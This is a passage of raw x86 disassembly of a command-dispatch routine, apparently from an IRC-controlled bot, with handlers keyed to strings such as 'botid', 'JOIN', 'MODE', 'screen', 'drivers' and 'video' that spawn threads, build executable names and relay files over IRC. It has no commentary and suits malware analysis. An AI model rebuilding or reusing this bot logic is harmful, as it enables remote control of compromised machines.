push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4126C9 loc_4126B3: ; CODE XREF: sub_40EE72+3855j cmp [ebp+var_560], ebx jnz loc_411D22 push 32h call near ptr 2610F93h nop jmp short loc_4126B3 ; --------------------------------------------------------------------------- loc_4126C9: ; CODE XREF: sub_40EE72+383Fj nop call near ptr 2650B3Dh push eax push offset unk_4313D8 jmp loc_4128CC ; --------------------------------------------------------------------------- loc_4126DA: ; CODE XREF: sub_40EE72+26B4j ; sub_40EE72+26CBj push 7Fh lea eax, [ebp+var_76C] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_6EC] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_66C] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_8] add esp, 30h mov esi, [ebp+var_4] mov [ebp+var_564], eax push [ebp+arg_0] mov eax, [ebp+arg_4] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_568], esi push edi push offset dword_43139C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Bh push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_4019D7 push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4127AD loc_41279B: ; CODE XREF: sub_40EE72+3939j cmp [ebp+var_560], ebx jnz short loc_4127C8 push 32h nop call near ptr 2610F93h jmp short loc_41279B ; --------------------------------------------------------------------------- loc_4127AD: ; CODE XREF: sub_40EE72+3927j call near ptr 2650B3Dh nop push eax lea eax, [ebp+var_2DC] push offset dword_431354 push eax call sub_4172B0 add esp, 0Ch loc_4127C8: ; CODE XREF: sub_40EE72+392Fj cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push esi jmp loc_414619 ; --------------------------------------------------------------------------- loc_4127D8: ; CODE XREF: sub_40EE72+266Fj ; sub_40EE72+2686j ... push 7Fh lea eax, [ebp+var_7E8] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_768] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_6E8] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_668] push [ebp+var_8C] push eax call sub_418C10 push 20h lea eax, [ebp+var_5E8] push [ebp+arg_8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_568], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_7F0], esi push edi push offset unk_431314 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Ah push eax call sub_416D5C add esp, 20h mov [ebp+var_7EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F0] push ebx push eax push offset sub_401000 push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_7EC] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4128C0 loc_4128AA: ; CODE XREF: sub_40EE72+3A4Cj cmp [ebp+var_560], ebx jnz loc_411D22 push 32h nop call near ptr 2610F93h jmp short loc_4128AA ; --------------------------------------------------------------------------- loc_4128C0: ; CODE XREF: sub_40EE72+3A36j call near ptr 2650B3Dh nop push eax push offset unk_4312CC loc_4128CC: ; CODE XREF: sub_40EE72+2E92j ; sub_40EE72+2FEEj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 jmp loc_411D1F ; --------------------------------------------------------------------------- loc_4128DD: ; CODE XREF: sub_40EE72+2641j ; sub_40EE72+2658j push 7Fh lea eax, [ebp+var_458] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push 3Fh mov [ebp+var_308], eax push [ebp+arg_0] lea eax, [ebp+var_3D8] push eax call sub_418C10 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_41292B push 3Fh lea eax, [ebp+var_398] push esi push eax call sub_418C10 add esp, 0Ch loc_41292B: ; CODE XREF: sub_40EE72+3AA5j lea eax, [ebp+var_3D8] mov [ebp+var_304], 1 push eax lea eax, [ebp+var_458] push [ebp+var_308] push eax lea eax, [ebp+var_2DC] push offset unk_43128C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 18h push eax call sub_416D5C add esp, 20h mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_45C] push ebx push eax push offset sub_40EB92 push ebx push ebx call near ptr 2680C08h nop mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4129B7 loc_4129A1: ; CODE XREF: sub_40EE72+3B43j cmp [ebp+var_2FC], ebx jnz loc_413A62 push 32h nop call near ptr 2610F93h jmp short loc_4129A1 ; --------------------------------------------------------------------------- loc_4129B7: ; CODE XREF: sub_40EE72+3B2Dj nop call near ptr 2650B3Dh push eax push offset unk_431244 jmp loc_411888 ; --------------------------------------------------------------------------- loc_4129C8: ; CODE XREF: sub_40EE72+2601j ; sub_40EE72+2618j push [ebp+arg_18] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_412ABF mov esi, 80h push edi lea eax, [ebp+var_6F8] push esi push eax call sub_41782A add esp, 0Ch xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push edi push offset unk_431208 push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Dh push eax call sub_416D5C add esp, 20h mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_40144A push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412AAE loc_412A98: ; CODE XREF: sub_40EE72+3C3Aj cmp [ebp+var_560], ebx jnz loc_41460C push 32h nop call near ptr 2610F93h jmp short loc_412A98 ; --------------------------------------------------------------------------- loc_412AAE: ; CODE XREF: sub_40EE72+3C24j call near ptr 2650B3Dh nop push eax push offset unk_4311C0 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_412ABF: ; CODE XREF: sub_40EE72+3B67j push offset unk_431178 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_412AC9: ; CODE XREF: sub_40EE72+25D3j ; sub_40EE72+25EAj push [ebp+arg_18] push edi call near ptr 27D0A0Dh nop test eax, eax jz short loc_412AF9 push [ebp+arg_18] lea eax, [ebp+var_2DC] push edi push offset unk_431144 push 200h push eax call sub_41782A add esp, 14h jmp loc_41460C ; --------------------------------------------------------------------------- loc_412AF9: ; CODE XREF: sub_40EE72+3C63j push offset dword_431128 call sub_40AA35 pop ecx push eax lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_413C09 ; --------------------------------------------------------------------------- loc_412B1B: ; CODE XREF: sub_40EE72+25A5j ; sub_40EE72+25BCj push edi lea eax, [ebp+var_774] push 104h push eax call sub_41782A add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_412B55 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_412B55 push eax lea eax, [ebp+var_670] push eax call sub_4172B0 pop ecx pop ecx loc_412B55: ; CODE XREF: sub_40EE72+3CC1j ; sub_40EE72+3CD2j push [ebp+var_8C] lea eax, [ebp+var_7F4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_7F8], eax mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_670] push eax lea eax, [ebp+var_774] push eax push offset unk_4310E8 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ch push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F8] push ebx push eax push offset sub_408DCA push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412C0B loc_412BF5: ; CODE XREF: sub_40EE72+3D97j cmp [ebp+var_560], ebx jnz loc_414E11 push 32h nop call near ptr 2610F93h jmp short loc_412BF5 ; --------------------------------------------------------------------------- loc_412C0B: ; CODE XREF: sub_40EE72+3D81j nop call near ptr 2650B3Dh push eax push offset unk_43109C jmp loc_414E02 ; --------------------------------------------------------------------------- loc_412C1C: ; CODE XREF: sub_40EE72+2577j ; sub_40EE72+258Ej push 44h lea eax, [ebp+var_4A0] pop esi push esi push ebx push eax call sub_417330 push 1 mov [ebp+var_4A0], esi pop esi mov word ptr [ebp+var_470], bx push edi mov [ebp+var_474], esi call sub_41781F add esp, 10h cmp eax, esi jnz short loc_412C59 mov word ptr [ebp+var_470], 5 loc_412C59: ; CODE XREF: sub_40EE72+3DDCj cmp [ebp+var_C], ebx jz loc_413A62 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_413A62 lea eax, [ebp+var_2EC] push eax lea eax, [ebp+var_4A0] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 27505A0h test eax, eax jnz short loc_412CA4 push offset unk_431068 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_412CA4: ; CODE XREF: sub_40EE72+3E26j push edi push offset dword_431040 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412CAF: ; CODE XREF: sub_40EE72+2549j ; sub_40EE72+2560j push [ebp+arg_18] push offset aBotid ; "botid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E29 lea eax, [ebp+var_3FC] push eax push 104h nop call near ptr 2770113h push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 lea eax, [ebp+var_2F8] push eax call sub_4159F4 add esp, 10h push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_680] push offset aSS_exe ; "%s%s.exe" push eax call sub_4172B0 mov eax, [ebp+esi+var_88] add esp, 10h cmp eax, ebx mov [ebp+var_57C], 1 mov [ebp+var_578], ebx jz short loc_412D44 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_412D4A ; --------------------------------------------------------------------------- loc_412D44: ; CODE XREF: sub_40EE72+3EBCj mov [ebp+var_570], ebx loc_412D4A: ; CODE XREF: sub_40EE72+3ED0j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_412D64 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_412D6A ; --------------------------------------------------------------------------- loc_412D64: ; CODE XREF: sub_40EE72+3EE1j mov [ebp+var_574], ebx loc_412D6A: ; CODE XREF: sub_40EE72+3EF0j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax push edi lea eax, [ebp+var_2DC] push offset unk_430FF8 push eax call sub_4172B0 push esi lea eax, [ebp+var_2DC] push 17h push eax call sub_416D5C add esp, 18h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412E18 loc_412E02: ; CODE XREF: sub_40EE72+3FA4j cmp [ebp+var_560], ebx jnz loc_413A62 push 32h call near ptr 2610F93h nop jmp short loc_412E02 ; --------------------------------------------------------------------------- loc_412E18: ; CODE XREF: sub_40EE72+3F8Ej nop call near ptr 2650B3Dh push eax push offset unk_430FAC jmp loc_411888 ; --------------------------------------------------------------------------- loc_412E29: ; CODE XREF: sub_40EE72+3E4Ej push offset unk_430F58 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_412E33: ; CODE XREF: sub_40EE72+251Bj ; sub_40EE72+2532j push [ebp+var_90] push offset dword_432D78 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx pop ecx push eax lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_430F48 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 push edi call sub_41781F add esp, 28h test eax, eax jle short loc_412EBC push edi call sub_41781F imul eax, 3E8h pop ecx push eax nop call near ptr 2610F93h loc_412EBC: ; CODE XREF: sub_40EE72+4034j push offset dword_430F24 call sub_40BF6D mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412ED0: ; CODE XREF: sub_40EE72+24EDj ; sub_40EE72+2504j push [ebp+var_90] push offset dword_432D78 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_4176D0 add esp, 10h test eax, eax push esi jz short loc_412F8F push [ebp+var_8C] lea eax, [ebp+var_2DC] push [ebp+var_90] push [ebp+var_94] push offset dword_430F48 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 loc_412F4E: ; DATA XREF: ___:off_42DE40o add esp, 24h lea eax, [ebp+var_2DC] push esi push offset dword_430EF4 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D push edi call sub_41781F add esp, 14h test eax, eax jle loc_414F47 push edi call sub_41781F add eax, [ebp+arg_24] pop ecx jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412F8F: ; CODE XREF: sub_40EE72+40A3j push offset dword_430EB0 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412F99: ; CODE XREF: sub_40EE72+24BFj ; sub_40EE72+24D6j push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_430EA8 push eax call sub_4172B0 push edi call sub_41781F add esp, 10h loc_412FB6: ; CODE XREF: sub_40EE72+41AEj test eax, eax jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 loc_412FD0: ; CODE XREF: sub_40EE72+4CBBj lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 loc_412FF4: ; CODE XREF: sub_40EE72+4469j ; sub_40EE72+5D44j add esp, 0Ch jmp loc_414F47 ; --------------------------------------------------------------------------- loc_412FFC: ; CODE XREF: sub_40EE72+2491j ; sub_40EE72+24A8j push [ebp+esi+var_88] lea eax, [ebp+var_2DC] push [ebp+arg_18] push offset dword_430E9C push eax call sub_4172B0 push edi call sub_41781F add esp, 14h jmp short loc_412FB6 ; --------------------------------------------------------------------------- loc_413022: ; CODE XREF: sub_40EE72+2463j ; sub_40EE72+247Aj push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_430E94 push eax call sub_4172B0 push edi call sub_41781F add esp, 10h test eax, eax jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_430E68 jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_41308E: ; CODE XREF: sub_40EE72+2435j ; sub_40EE72+244Cj cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4130BF push esi lea eax, [ebp+var_2DC] push offset dword_430E60 push eax call sub_4172B0 add esp, 0Ch loc_4130BF: ; CODE XREF: sub_40EE72+4236j push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_430E34 jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_413113: ; CODE XREF: sub_40EE72+2407j ; sub_40EE72+241Ej cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push esi push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_430E08 jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_413181: ; CODE XREF: sub_40EE72+23D9j ; sub_40EE72+23F0j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_430DD0 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_4131BB: ; CODE XREF: sub_40EE72+23ABj ; sub_40EE72+23C2j push [ebp+var_90] push offset dword_432D78 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 push [ebp+arg_18] push offset dword_430DC4 push [ebp+arg_4] call sub_40D633 push edi call sub_41781F imul eax, 3E8h add esp, 10h push eax nop call near ptr 2610F93h push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_430DA0 call sub_40BF6D add esp, 14h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_413224: ; CODE XREF: sub_40EE72+237Dj ; sub_40EE72+2394j cmp [ebp+var_C], ebx jz loc_414F47 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F47 push esi lea eax, [ebp+var_2DC] push offset dword_4315BC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push ebx push eax push edi push [ebp+arg_4] call sub_40D679 add esp, 20h push esi push edi push offset dword_430D74 jmp short loc_4132D6 ; --------------------------------------------------------------------------- loc_41328A: ; CODE XREF: sub_40EE72+234Fj ; sub_40EE72+2366j cmp [ebp+var_C], ebx jz loc_414F47 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F47 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_40D679 add esp, 14h push esi push edi push offset dword_430D48 loc_4132D6: ; CODE XREF: sub_40EE72+4217j ; sub_40EE72+429Cj ... call sub_40BFE1 jmp loc_412FF4 ; --------------------------------------------------------------------------- loc_4132E0: ; CODE XREF: sub_40EE72+2321j ; sub_40EE72+2338j cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 push eax push edi call sub_40BE75 pop ecx pop ecx push edi push offset dword_430D1C jmp loc_413BFD ; --------------------------------------------------------------------------- loc_413312: ; CODE XREF: sub_40EE72+22E1j ; sub_40EE72+22F8j push edi push [ebp+arg_1C] call sub_417880 pop ecx test eax, eax pop ecx jz loc_414F47 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz loc_4133B6 push esi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_41339E push esi lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_430F48 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 add esp, 24h lea eax, [ebp+var_2DC] push esi push edi push offset dword_430CE8 push eax call sub_4172B0 add esp, 10h inc [ebp+arg_24] jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_41339E: ; CODE XREF: sub_40EE72+44D1j lea eax, [ebp+var_2DC] push offset dword_430CA8 push eax call sub_4172B0 pop ecx pop ecx jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_4133B6: ; CODE XREF: sub_40EE72+44BCj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h lea eax, [ebp+var_2DC] push edi push offset dword_430C80 push 200h push eax call sub_41782A add esp, 10h jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_413400: ; CODE XREF: sub_40EE72+22B3j ; sub_40EE72+22CAj push offset aScreen ; "screen" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413463 cmp [ebp+esi+var_8C], ebx jz short loc_413450 push [ebp+esi+var_8C] call sub_4085B3 cmp eax, 1 pop ecx jnz short loc_413449 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_430C3C push eax call sub_4172B0 add esp, 0Ch jmp short loc_413463 ; --------------------------------------------------------------------------- loc_413449: ; CODE XREF: sub_40EE72+45B8j push offset dword_430C00 jmp short loc_413455 ; --------------------------------------------------------------------------- loc_413450: ; CODE XREF: sub_40EE72+45A6j push offset dword_430BB8 loc_413455: ; CODE XREF: sub_40EE72+45DCj lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_413463: ; CODE XREF: sub_40EE72+459Dj ; sub_40EE72+45D5j push offset aDrivers ; "drivers" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4134FA mov [ebp+arg_0], ebx loc_41347B: ; CODE XREF: sub_40EE72+4673j lea eax, [ebp+var_75C] push 1FFh push eax lea eax, [ebp+var_3F8] push 0FFh push eax push [ebp+arg_0] call dword_43ADC8 test eax, eax jz short loc_4134DE lea eax, [ebp+var_75C] push eax lea eax, [ebp+var_3F8] push eax lea eax, [ebp+var_15B0] push [ebp+arg_0] push offset dword_430B7C push eax call sub_4172B0 push ebx lea eax, [ebp+var_15B0] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h loc_4134DE: ; CODE XREF: sub_40EE72+462Cj inc [ebp+arg_0] cmp [ebp+arg_0], 0Ah jl short loc_41347B lea eax, [ebp+var_2DC] push offset dword_430B48 push eax call sub_4172B0 pop ecx pop ecx loc_4134FA: ; CODE XREF: sub_40EE72+4600j push offset aFrame ; "frame" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4135A0 cmp [ebp+esi+var_8C], ebx jz short loc_41358D cmp [ebp+esi+var_88], ebx jz short loc_41358D cmp [ebp+esi+var_84], ebx jz short loc_41358D mov eax, [ebp+esi+var_80] cmp eax, ebx jz short loc_41358D push eax call sub_41781F pop ecx push eax push [ebp+esi+var_84] call sub_41781F pop ecx push eax push [ebp+esi+var_88] call sub_41781F pop ecx push eax push [ebp+esi+var_8C] call sub_4087EE add esp, 10h test eax, eax jnz short loc_413586 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_430B04 push eax call sub_4172B0 add esp, 0Ch jmp short loc_4135A0 ; --------------------------------------------------------------------------- loc_413586: ; CODE XREF: sub_40EE72+46F5j push offset dword_430AC0 jmp short loc_413592 ; --------------------------------------------------------------------------- loc_41358D: ; CODE XREF: sub_40EE72+46A4j ; sub_40EE72+46ADj ... push offset dword_430A78 loc_413592: ; CODE XREF: sub_40EE72+4719j lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_4135A0: ; CODE XREF: sub_40EE72+4697j ; sub_40EE72+4712j push offset aVideo ; "video" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_413A62 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_413639 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_413639 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz short loc_413639 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_413639 mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_413639 push esi call sub_41781F pop ecx push eax push edi call sub_41781F pop ecx push eax push [ebp+arg_10] call sub_41781F pop ecx push eax push [ebp+arg_0] call sub_41781F pop ecx push eax push [ebp+arg_18] call sub_4089E7 add esp, 14h test eax, eax jnz short loc_41362F push [ebp+arg_18] push offset dword_430A34 jmp loc_411888 ; --------------------------------------------------------------------------- loc_41362F: ; CODE XREF: sub_40EE72+47AEj push offset dword_4309E4 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413639: ; CODE XREF: sub_40EE72+474Fj ; sub_40EE72+475Dj ... push offset dword_430998 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413643: ; CODE XREF: sub_40EE72+1CF0j ; sub_40EE72+1D07j push offset aR ; "r" push edi call sub_4179A8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4136BE mov ebx, 200h push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 0Ch loc_41366C: ; CODE XREF: sub_40EE72+4829j test eax, eax jz short loc_41369D push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 20h jmp short loc_41366C ; --------------------------------------------------------------------------- loc_41369D: ; CODE XREF: sub_40EE72+47FCj push esi call sub_417900 pop ecx lea eax, [ebp+var_2DC] push edi push offset dword_430964 push eax call sub_4172B0 add esp, 0Ch jmp loc_4110FD ; --------------------------------------------------------------------------- loc_4136BE: ; CODE XREF: sub_40EE72+47E2j push edi push offset dword_430934 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4136C9: ; CODE XREF: sub_40EE72+1CC2j ; sub_40EE72+1CD9j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push offset asc_42A660 ; "\n" push esi call sub_4179D0 push esi call sub_40B358 add esp, 0Ch test eax, eax jnz short loc_413709 push offset dword_4308F8 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413709: ; CODE XREF: sub_40EE72+488Bj push esi push offset dword_4308D0 jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_413714: ; CODE XREF: sub_40EE72+1C94j ; sub_40EE72+1CABj cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_414F47 push eax call sub_40AAFA test eax, eax pop ecx jnz short loc_413745 push offset unk_4308A4 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413745: ; CODE XREF: sub_40EE72+48C7j push offset dword_430878 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_41374F: ; CODE XREF: sub_40EE72+1C66j ; sub_40EE72+1C7Dj push 7Fh lea eax, [ebp+var_6EC] push edi push eax call sub_418C10 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_41377E push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 add esp, 0Ch loc_41377E: ; CODE XREF: sub_40EE72+48F8j push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_6F0], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax mov eax, [ebp+var_4] mov [ebp+var_564], eax push edi lea eax, [ebp+var_2DC] push offset dword_430850 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 15h push eax call sub_416D5C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F0] push ebx push eax push offset sub_40BC4B push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_41381F loc_413809: ; CODE XREF: sub_40EE72+49ABj cmp [ebp+var_560], ebx jnz loc_414AC3 push 32h call near ptr 2610F93h nop jmp short loc_413809 ; --------------------------------------------------------------------------- loc_41381F: ; CODE XREF: sub_40EE72+4995j call near ptr 2650B3Dh nop push eax push offset unk_430804 jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_413830: ; CODE XREF: sub_40EE72+1C38j ; sub_40EE72+1C4Fj push ebx push [ebp+var_8C] push [ebp+arg_4] push edi call sub_406387 add esp, 10h push edi push offset dword_4307E0 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_41384E: ; CODE 